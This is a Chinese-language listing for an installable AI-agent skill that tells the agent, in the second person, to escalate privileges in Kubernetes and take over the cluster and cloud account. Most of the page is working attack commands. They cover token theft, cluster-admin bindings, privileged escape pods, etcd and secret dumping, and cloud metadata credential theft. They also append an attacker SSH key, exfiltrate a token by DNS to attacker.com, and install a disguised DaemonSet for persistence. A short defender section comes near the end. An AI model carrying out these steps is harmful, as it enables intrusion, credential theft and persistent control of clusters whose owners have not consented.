mcpField
O
offensive-k8s-attacks

offensive-k8s-attacks

github.com/snailsploit安全9.7k128 次安装2 周前更新
代码仓库

关于 offensive-k8s-attacks

面向 Kubernetes 攻防的技能,涵盖权限与配置枚举、权限提升,以及集群和云环境暴露面检查。还提供防守监控建议,可用于获授权的集群安全评估。

主要功能

  1. 01服务账户与 RBAC 枚举
  2. 02Kubelet 与 Pod 逃逸技术
  3. 03Secret 和云元数据发现
  4. 04准入控制器与网络策略分析
  5. 05防守监控建议

适用场景

  1. 01评估 Kubernetes RBAC 暴露风险
  2. 02测试 Pod 隔离与 Kubelet 访问
  3. 03检查 Secret 和云元数据防护
  4. 04规划集群攻击检测覆盖范围

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/snailsploit/claude-red --skill offensive-k8s-attacks

安装后在 Claude Code 中输入/offensive-k8s-attacks确认已加载。

详细介绍

Kubernetes 集群攻击

你可以访问 Kubernetes 环境,可能是通过已遭入侵的 Pod、被盗的 kubeconfig,或暴露的 API 服务器。你的目标是提升权限、横向移动,并攻陷集群或底层云基础设施。Kubernetes 安全性取决于 RBAC 策略、网络策略、准入控制器、Pod 安全标准以及云 IAM 集成。每项配置错误都可能成为进一步获取访问权限的途径。本指南涵盖系统化枚举、权限提升、秘密提取和集群范围的攻陷技术。

快速工作流

  1. 确定初始位置:Pod shell、被盗令牌、暴露的 API,或 kubeconfig 文件。
  2. 枚举服务账户权限、集群角色和可访问资源。
  3. 识别权限提升途径:RBAC 漏洞、kubelet 暴露、hostPath 挂载、云元数据访问。
  4. 通过串联配置错误或滥用权限过大的服务账户来提升权限。
  5. 提取秘密、转向其他命名空间,并以控制平面为目标。
  6. 利用云元数据或 etcd 访问权限,攻陷整个基础设施。

阶段 1:初始枚举

确定你的位置
# Check if you are inside a pod
ls /var/run/secrets/kubernetes.io/serviceaccount/ 2>/dev/null
cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt

# Environment variables set by Kubernetes
env | grep -i kube
env | grep -i kubernetes

# Service host and port are injected into every pod
echo $KUBERNETES_SERVICE_HOST
echo $KUBERNETES_SERVICE_PORT

# DNS resolution for API server
nslookup kubernetes.default.svc.cluster.local

# Determine if kubectl is available
which kubectl 2>/dev/null
# If not, use curl with the service account token
不使用 kubectl 设置 API 访问
# Extract token and CA certificate
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
APISERVER="https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}"

# Test API access
curl -s --cacert ${CACERT} -H "Authorization: Bearer ${TOKEN}" \
  ${APISERVER}/api/v1/namespaces

# Shorthand function for repeated use
k8s_api() {
  curl -s --cacert ${CACERT} -H "Authorization: Bearer ${TOKEN}" \
    "${APISERVER}$1"
}

# Check your identity
k8s_api "/apis/authentication.k8s.io/v1/tokenreviews" \
  -X POST -H "Content-Type: application/json" \
  -d "{\"apiVersion\":\"authentication.k8s.io/v1\",\"kind\":\"TokenReview\",\"spec\":{\"token\":\"${TOKEN}\"}}"
自动化枚举工具
# kube-hunter - Kubernetes penetration testing tool
kube-hunter --active --remote $APISERVER

# peirates - Kubernetes penetration tool (run from within pod)
./peirates

# kubeaudit - Audit Kubernetes clusters for security concerns
kubeaudit all -f /path/to/kubeconfig

# kdigger - Kubernetes-focused container assessment
./kdigger dig all

# kubectl auth can-i - Check your permissions
kubectl auth can-i --list
kubectl auth can-i --list --namespace=kube-system
kubectl auth can-i create pods
kubectl auth can-i create pods/exec
kubectl auth can-i get secrets
kubectl auth can-i '*' '*'

阶段 2:服务账户令牌窃取与滥用

发现令牌
# Default service account token mount
cat /var/run/secrets/kubernetes.io/serviceaccount/token

# Projected service account tokens (newer clusters)
ls /var/run/secrets/kubernetes.io/serviceaccount/
# Files: token, ca.crt, namespace

# Search for tokens in environment variables and config files
env | grep -i token
find / -name "kubeconfig" -o -name ".kube" -o -name "config" 2>/dev/null
find / -name "*.kubeconfig" 2>/dev/null

# Check mounted secrets in other pods (if you can list or exec)
kubectl get pods -A -o jsonpath='{range .items[*]}{.metadata.namespace}/{.metadata.name}: {range .spec.volumes[*]}{.secret.secretName} {end}{"\n"}{end}'

# Look for tokens in etcd, configmaps, or environment variables
kubectl get secrets -A
kubectl get configmaps -A -o yaml | grep -i token
令牌冒充
# Use a stolen token to authenticate
kubectl --token="$STOLEN_TOKEN" --server="$APISERVER" \
  --certificate-authority="$CACERT" auth can-i --list

# Impersonate a service account (requires impersonate verb)
kubectl auth can-i impersonate serviceaccounts
kubectl --as=system:serviceaccount:kube-system:default get secrets -n kube-system

# Impersonate a user
kubectl [email protected] get pods -A

# Impersonate a group
kubectl --as-group=system:masters --as=dummy get secrets -A

阶段 3:利用 RBAC 配置错误

识别危险权限
# List all cluster roles and role bindings
kubectl get clusterroles -o json | python3 -c "
import json,sys
data=json.load(sys.stdin)
for role in data['items']:
    for rule in role.get('spec',{}).get('rules',[]):
        verbs=rule.get('verbs',[])
        resources=rule.get('resources',[])
        if '*' in verbs or '*' in resources:
            print(f\"DANGER: {role['metadata']['name']} - verbs:{verbs} resources:{resources}\")
"

# Check for wildcard permissions
kubectl get clusterrolebindings -o json | python3 -c "
import json,sys
data=json.load(sys.stdin)
for b in data['items']:
    subjects = b.get('subjects',[]) or []
    role = b.get('roleRef',{}).get('name','')
    for s in subjects:
        print(f\"{s.get('kind')}/{s.get('name')} -> {role}\")
"

# Find service accounts bound to cluster-admin
kubectl get clusterrolebindings -o json | \
  python3 -c "
import json,sys
data=json.load(sys.stdin)
for b in data['items']:
    if b.get('roleRef',{}).get('name')=='cluster-admin':
        for s in (b.get('subjects') or []):
            print(f\"cluster-admin: {s.get('kind')}/{s.get('namespace','')}/{s.get('name')}\")
"
利用 RBAC 漏洞提升权限
# If you can create role bindings, bind yourself to cluster-admin
kubectl create clusterrolebinding pwn-binding \
  --clusterrole=cluster-admin \
  --serviceaccount=default:default

# If you can create roles, grant yourself wildcard access
cat <<'EOF' | kubectl apply -f -
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: pwn-role
rules:
- apiGroups: ["*"]
  resources: ["*"]
  verbs: ["*"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: pwn-role-binding
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: ClusterRole
  name: pwn-role
subjects:
- kind: ServiceAccount
  name: default
  namespace: default
EOF

# If you can patch existing bindings
kubectl patch clusterrolebinding existing-binding -p \
  '{"subjects":[{"kind":"ServiceAccount","name":"default","namespace":"default"}]}'

# Escalate through escalate verb
# The "escalate" verb on roles/clusterroles allows granting permissions
# you do not have yourself
kubectl auth can-i escalate clusterroles

阶段 4:利用 Kubelet API

直接访问 Kubelet
# Kubelet API runs on port 10250 (authenticated) and 10255 (read-only, deprecated)
# Scan for kubelet ports across cluster nodes

# Read-only port (10255) - no auth required if exposed
curl -s http://NODE_IP:10255/pods | python3 -m json.tool
curl -s http://NODE_IP:10255/spec/
curl -s http://NODE_IP:10255/metrics

# Authenticated port (10250) - requires valid credentials
# Use service account token or client certificate
curl -sk https://NODE_IP:10250/pods \
  -H "Authorization: Bearer ${TOKEN}"

# List running pods on the node
curl -sk https://NODE_IP:10250/runningpods/ \
  -H "Authorization: Bearer ${TOKEN}"
通过 Kubelet 执行命令
# kubeletctl tool for kubelet API interaction
kubeletctl -s NODE_IP pods
kubeletctl -s NODE_IP scan rce

# Execute commands in pods via kubelet API directly (bypasses API server RBAC)
curl -sk https://NODE_IP:10250/run/NAMESPACE/POD_NAME/CONTAINER_NAME \
  -H "Authorization: Bearer ${TOKEN}" \
  -d "cmd=id"

# Execute in every container on the node
curl -sk https://NODE_IP:10250/runningpods/ \
  -H "Authorization: Bearer ${TOKEN}" | \
  python3 -c "
import json,sys
pods=json.load(sys.stdin)
for pod in pods.get('items',[]):
    ns=pod['metadata']['namespace']
    name=pod['metadata']['name']
    for c in pod['spec'].get('containers',[]):
        print(f'{ns}/{name}/{c[\"name\"]}')
"
# Then exec into each one to extract tokens and secrets

# Retrieve container logs
curl -sk "https://NODE_IP:10250/containerLogs/NAMESPACE/POD/CONTAINER" \
  -H "Authorization: Bearer ${TOKEN}"

阶段 5:利用特权配置逃逸 Pod

通过 hostPID 逃逸
# If the pod has hostPID: true, you see all host processes
ps aux  # Shows host processes

# Access host filesystem via /proc/1/root
ls -la /proc/1/root/
cat /proc/1/root/etc/shadow
cat /proc/1/root/etc/kubernetes/manifests/kube-apiserver.yaml

# nsenter into host namespaces
nsenter -t 1 -m -u -i -n -p -- bash

# Steal tokens from other pods' processes
for pid in $(ls /proc/ | grep -E '^[0-9]+$'); do
  token=$(cat /proc/$pid/environ 2>/dev/null | tr '\0' '\n' | grep -i kube)
  if [ -n "$token" ]; then
    cmdline=$(cat /proc/$pid/cmdline 2>/dev/null | tr '\0' ' ')
    echo "PID $pid ($cmdline): $token"
  fi
done
通过 hostNetwork 逃逸
# If the pod has hostNetwork: true, you share the host's network namespace
ip addr show  # Shows host network interfaces

# Access services bound to localhost on the host
curl -s http://127.0.0.1:10255/pods  # Kubelet read-only
curl -sk https://127.0.0.1:10250/pods  # Kubelet API
curl -s http://127.0.0.1:2379/version  # etcd (if exposed)

# Access cloud metadata from host network perspective
curl -s http://169.254.169.254/latest/meta-data/  # AWS
curl -s -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/  # GCP
curl -s -H "Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01"  # Azure

# Scan internal services
for port in 443 8443 6443 2379 10250 10255 30000-32767; do
  timeout 1 bash -c "echo >/dev/tcp/127.0.0.1/$port" 2>/dev/null && echo "Port $port open"
done
通过 hostPath 卷逃逸
# If the pod mounts a hostPath volume, you can read/write host files
# Common dangerous hostPath mounts:
# /               - full host filesystem
# /var/run        - container runtime sockets
# /etc            - host configuration
# /var/log        - host logs (may contain secrets)
# /root           - root home directory

# Check what is mounted
mount | grep -v overlay
cat /proc/1/mountinfo

# If / is mounted at /host
cat /host/etc/shadow
cat /host/etc/kubernetes/admin.conf
cat /host/root/.kube/config

# Write SSH key for host access
echo "ssh-rsa AAAA... attacker" >> /host/root/.ssh/authorized_keys

# Access Docker socket if mounted
ls -la /host/var/run/docker.sock
部署特权 Pod
# If you can create pods, deploy one with full host access
cat <<'EOF' | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: pwn-pod
  namespace: default
spec:
  hostPID: true
  hostNetwork: true
  containers:
  - name: pwn
    image: alpine
    command: ["/bin/sh", "-c", "sleep 3600"]
    securityContext:
      privileged: true
    volumeMounts:
    - name: host-root
      mountPath: /host
  volumes:
  - name: host-root
    hostPath:
      path: /
      type: Directory
  tolerations:
  - operator: Exists
  nodeSelector:
    node-role.kubernetes.io/control-plane: ""
EOF

# Wait for pod to be ready, then exec in
kubectl exec -it pwn-pod -- nsenter -t 1 -m -u -i -n -p -- bash

阶段 6:枚举和提取秘密

Kubernetes 秘密
# List all secrets across namespaces
kubectl get secrets -A

# Get specific secret content (base64 encoded)
kubectl get secret SECRET_NAME -n NAMESPACE -o json

# Decode all secrets in a namespace
kubectl get secrets -n NAMESPACE -o json | python3 -c "
import json,sys,base64
data=json.load(sys.stdin)
for secret in data['items']:
    name=secret['metadata']['name']
    print(f'=== {name} ===')
    for k,v in (secret.get('data') or {}).items():
        try:
            decoded=base64.b64decode(v).decode('utf-8','replace')
            print(f'  {k}: {decoded}')
        except:
            print(f'  {k}: [binary data]')
"

# Target high-value secrets
kubectl get secrets -A -o json | python3 -c "
import json,sys
data=json.load(sys.stdin)
for s in data['items']:
    name=s['metadata']['name']
    ns=s['metadata']['namespace']
    stype=s.get('type','')
    if any(x in name.lower() for x in ['admin','root','cloud','aws','gcp','azure','password','key','cert','token','db','database','api']):
        print(f'HIGH-VALUE: {ns}/{name} (type: {stype})')
"
直接访问 etcd
# etcd stores all Kubernetes state including secrets in plaintext (unless encrypted at rest)
# Default port: 2379 (client), 2380 (peer)

# Check if etcd is accessible
curl -s http://ETCD_IP:2379/version
curl -s http://127.0.0.1:2379/version  # From host network

# If etcd requires TLS, find certificates
# On control plane nodes, check:
ls -la /etc/kubernetes/pki/etcd/
# ca.crt, server.crt, server.key, peer.crt, peer.key

# Use etcdctl with certs
ETCDCTL_API=3 etcdctl \
  --endpoints=https://ETCD_IP:2379 \
  --cacert=/etc/kubernetes/pki/etcd/ca.crt \
  --cert=/etc/kubernetes/pki/etcd/server.crt \
  --key=/etc/kubernetes/pki/etcd/server.key \
  get / --prefix --keys-only | head -50

# Dump all secrets from etcd
ETCDCTL_API=3 etcdctl \
  --endpoints=https://ETCD_IP:2379 \
  --cacert=/etc/kubernetes/pki/etcd/ca.crt \
  --cert=/etc/kubernetes/pki/etcd/server.crt \
  --key=/etc/kubernetes/pki/etcd/server.key \
  get /registry/secrets --prefix

# Extract specific secret
ETCDCTL_API=3 etcdctl \
  --endpoints=https://ETCD_IP:2379 \
  --cacert=/etc/kubernetes/pki/etcd/ca.crt \
  --cert=/etc/kubernetes/pki/etcd/server.crt \
  --key=/etc/kubernetes/pki/etcd/server.key \
  get /registry/secrets/kube-system/admin-token

阶段 7:从 Pod 访问云元数据

AWS EKS
# Access Instance Metadata Service (IMDS) from pod
curl -s http://169.254.169.254/latest/meta-data/
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/NODE_ROLE_NAME

# IMDSv2 (requires token)
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/

# EKS-specific: IRSA (IAM Roles for Service Accounts)
# Check for projected token and annotated service account
cat $AWS_WEB_IDENTITY_TOKEN_FILE
echo $AWS_ROLE_ARN

# Use AWS CLI with stolen role
aws sts assume-role-with-web-identity \
  --role-arn "$AWS_ROLE_ARN" \
  --role-session-name pwn \
  --web-identity-token "$(cat $AWS_WEB_IDENTITY_TOKEN_FILE)"

# Enumerate EKS cluster from stolen node credentials
aws eks describe-cluster --name CLUSTER_NAME
aws eks list-clusters
GCP GKE
# GCP metadata server
curl -s -H "Metadata-Flavor: Google" \
  http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token

curl -s -H "Metadata-Flavor: Google" \
  http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scopes

# Get access token for GCP APIs
ACCESS_TOKEN=$(curl -s -H "Metadata-Flavor: Google" \
  http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token | \
  python3 -c "import json,sys;print(json.load(sys.stdin)['access_token'])")

# Use token to access GCP APIs
curl -s -H "Authorization: Bearer $ACCESS_TOKEN" \
  "https://www.googleapis.com/compute/v1/projects/PROJECT_ID/zones/ZONE/instances"

# Workload Identity check
curl -s -H "Metadata-Flavor: Google" \
  http://169.254.169.254/computeMetadata/v1/instance/attributes/cluster-name
Azure AKS
# Azure Instance Metadata Service
curl -s -H "Metadata: true" \
  "http://169.254.169.254/metadata/instance?api-version=2021-02-01"

# Get managed identity token
curl -s -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

# Use token for Azure Resource Manager
TOKEN=$(curl -s -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" | \
  python3 -c "import json,sys;print(json.load(sys.stdin)['access_token'])")

curl -s -H "Authorization: Bearer $TOKEN" \
  "https://management.azure.com/subscriptions?api-version=2020-01-01"

阶段 8:绕过准入控制器并建立持久化

绕过准入控制器
# Check which admission controllers are active
kubectl get validatingwebhookconfigurations
kubectl get mutatingwebhookconfigurations

# Inspect webhook configuration for bypass opportunities
kubectl get validatingwebhookconfigurations -o json | python3 -c "
import json,sys
data=json.load(sys.stdin)
for wh in data['items']:
    name=wh['metadata']['name']
    for w in wh.get('webhooks',[]):
        ns_selector=w.get('namespaceSelector',{})
        obj_selector=w.get('objectSelector',{})
        failure=w.get('failurePolicy','Fail')
        print(f'{name}/{w[\"name\"]}: failurePolicy={failure}')
        if ns_selector:
            print(f'  namespaceSelector: {json.dumps(ns_selector)}')
        if failure == 'Ignore':
            print(f'  BYPASS: failurePolicy=Ignore - webhook failures are ignored')
"

# If failurePolicy is Ignore, you can create resources when webhook is down
# If namespaceSelector excludes certain namespaces, deploy there

# Deploy to kube-system (often excluded from admission policies)
kubectl run pwn --image=alpine -n kube-system -- sleep 3600

# Use static pods (bypass API server admission entirely)
# Write manifest to /etc/kubernetes/manifests/ on a node
cat > /host/etc/kubernetes/manifests/pwn.yaml << 'EOF'
apiVersion: v1
kind: Pod
metadata:
  name: pwn-static
  namespace: kube-system
spec:
  hostPID: true
  hostNetwork: true
  containers:
  - name: pwn
    image: alpine
    command: ["sleep", "3600"]
    securityContext:
      privileged: true
    volumeMounts:
    - name: root
      mountPath: /host
  volumes:
  - name: root
    hostPath:
      path: /
EOF
滥用 CRD 和 Operator
# List custom resource definitions
kubectl get crds

# Check for operators with elevated privileges
kubectl get deployments -A -o json | python3 -c "
import json,sys
data=json.load(sys.stdin)
for d in data['items']:
    name=d['metadata']['name']
    ns=d['metadata']['namespace']
    sa=d['spec']['template']['spec'].get('serviceAccountName','default')
    if any(x in name.lower() for x in ['operator','controller','manager']):
        print(f'{ns}/{name} (SA: {sa})')
"

# If you can create CRDs, install a backdoor operator
# If you can modify existing CRs, inject malicious configurations
# Example: modify a CR that triggers pod creation with your image
通过 DaemonSet 建立持久化
# Deploy a DaemonSet that runs on every node
cat <<'EOF' | kubectl apply -f -
apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: node-monitor
  namespace: kube-system
  labels:
    app: node-monitor
spec:
  selector:
    matchLabels:
      app: node-monitor
  template:
    metadata:
      labels:
        app: node-monitor
    spec:
      hostPID: true
      hostNetwork: true
      tolerations:
      - operator: Exists
      containers:
      - name: monitor
        image: alpine
        command: ["/bin/sh", "-c"]
        args:
        - |
          while true; do
            # Beacon to C2 or maintain reverse shell
            sleep 3600
          done
        securityContext:
          privileged: true
        volumeMounts:
        - name: host
          mountPath: /host
      volumes:
      - name: host
        hostPath:
          path: /
EOF

阶段 9:绕过网络策略

# Check if network policies exist
kubectl get networkpolicies -A

# If no policies exist, all pod-to-pod traffic is allowed by default
# Even with policies, bypass opportunities include:

# 1. DNS-based exfiltration (port 53 is rarely blocked)
# Encode data in DNS queries
nslookup $(cat /var/run/secrets/kubernetes.io/serviceaccount/token | base64 | head -c 60).attacker.com

# 2. Metadata service (169.254.169.254) may not be covered by network policies
curl -s http://169.254.169.254/latest/meta-data/

# 3. NodePort services bypass pod-level network policies
# Access services via node IP and NodePort (30000-32767)

# 4. Host network pods bypass network policies entirely
# If you can create hostNetwork pods, you bypass all CNI-level restrictions

# 5. Service mesh sidecar bypass
# If Istio/Linkerd sidecars are present, traffic between pods goes through the mesh
# Direct pod IP access (bypassing service) may skip mesh-level policies

# 6. Check for misconfigured egress policies
kubectl get networkpolicies -A -o json | python3 -c "
import json,sys
data=json.load(sys.stdin)
for np in data['items']:
    name=np['metadata']['name']
    ns=np['metadata']['namespace']
    egress=np['spec'].get('egress')
    if egress is None:
        print(f'{ns}/{name}: no egress rules (all egress blocked if policyTypes includes Egress)')
    elif len(egress)==1 and egress[0]=={}:
        print(f'{ns}/{name}: WIDE OPEN egress (empty rule = allow all)')
"

检测 / 防御者视角

监控 Kubernetes 集群攻击的防御者应关注以下事项:

  • 审计日志:启用并监控 Kubernetes 审计日志,留意异常 API 调用。关注对 clusterrolebindings、roles、pods/exec 和 secrets 的 create 或 patch 操作。跟踪服务账号令牌在正常应用模式之外的使用情况。
  • RBAC 警报:对创建指向 cluster-admin 的 ClusterRoleBinding 发出警报。监控新角色中的通配符权限。跟踪 escalate、bind 和 impersonate 动词的使用情况。
  • Kubelet 访问:监控并非来自 API 服务器的直接 kubelet API 连接(10250)。完全禁用只读端口(10255)。
  • Pod 安全:强制执行 Pod 安全标准(restricted 配置文件)。对创建包含 hostPID、hostNetwork、hostPath 或 privileged: true 的 Pod 发出警报。留意 kube-system 中运行且不属于标准控制平面的 Pod。
  • 机密访问模式:监控跨命名空间批量读取机密的行为。对访问其通常不会访问的机密的服务账号发出警报。启用 etcd 静态加密。
  • 网络监控:留意 Pod 到元数据服务(169.254.169.254)的流量。监控 DNS 查询模式,查找隧道传输迹象。对绕过服务抽象的 Pod 间流量发出警报。
  • 云 IAM:限制对需要访问 IMDS 的 Pod 开放 IMDS(使用网络策略或云原生控制措施)。使用工作负载身份,而非节点级 IAM 角色。审计源自 Kubernetes 节点的云 API 调用。
  • Falco 和运行时:部署运行时安全监控。检测容器中的意外进程执行、网络连接和文件访问。留意应用 Pod 中用于访问 API 端点的 nsenter、kubectl 和 curl。

参与演练速查表

# --- Initial Recon ---
# Get current permissions
kubectl auth can-i --list
kubectl auth can-i --list -n kube-system
kubectl auth can-i create pods
kubectl auth can-i get secrets --all-namespaces

# Enumerate cluster
kubectl cluster-info
kubectl get nodes -o wide
kubectl get namespaces
kubectl get pods -A -o wide
kubectl get services -A

# --- Secrets ---
kubectl get secrets -A
kubectl get secret <name> -n <ns> -o jsonpath='{.data}' | python3 -c "import json,sys,base64;[print(f'{k}: {base64.b64decode(v).decode()}') for k,v in json.load(sys.stdin).items()]"

# --- Privilege Escalation ---
# Create cluster-admin binding
kubectl create clusterrolebinding pwn --clusterrole=cluster-admin --serviceaccount=default:default

# Deploy privileged pod
kubectl run pwn --image=alpine --overrides='{"spec":{"hostPID":true,"hostNetwork":true,"containers":[{"name":"pwn","image":"alpine","command":["sleep","3600"],"securityContext":{"privileged":true},"volumeMounts":[{"name":"h","mountPath":"/host"}]}],"volumes":[{"name":"h","hostPath":{"path":"/"}}]}}' --restart=Never

# --- Kubelet ---
curl -sk https://NODE_IP:10250/runningpods/ -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)"
curl -sk https://NODE_IP:10250/run/NAMESPACE/POD/CONTAINER -d "cmd=id" -H "Authorization: Bearer $TOKEN"

# --- Cloud Metadata ---
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl -s -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
curl -s -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

# --- Lateral Movement ---
# Exec into other pods
kubectl get pods -A
kubectl exec -it POD_NAME -n NAMESPACE -- /bin/sh

# Port forward to internal services
kubectl port-forward svc/SERVICE 8080:80 -n NAMESPACE

关键参考资料

评论

支持 Markdown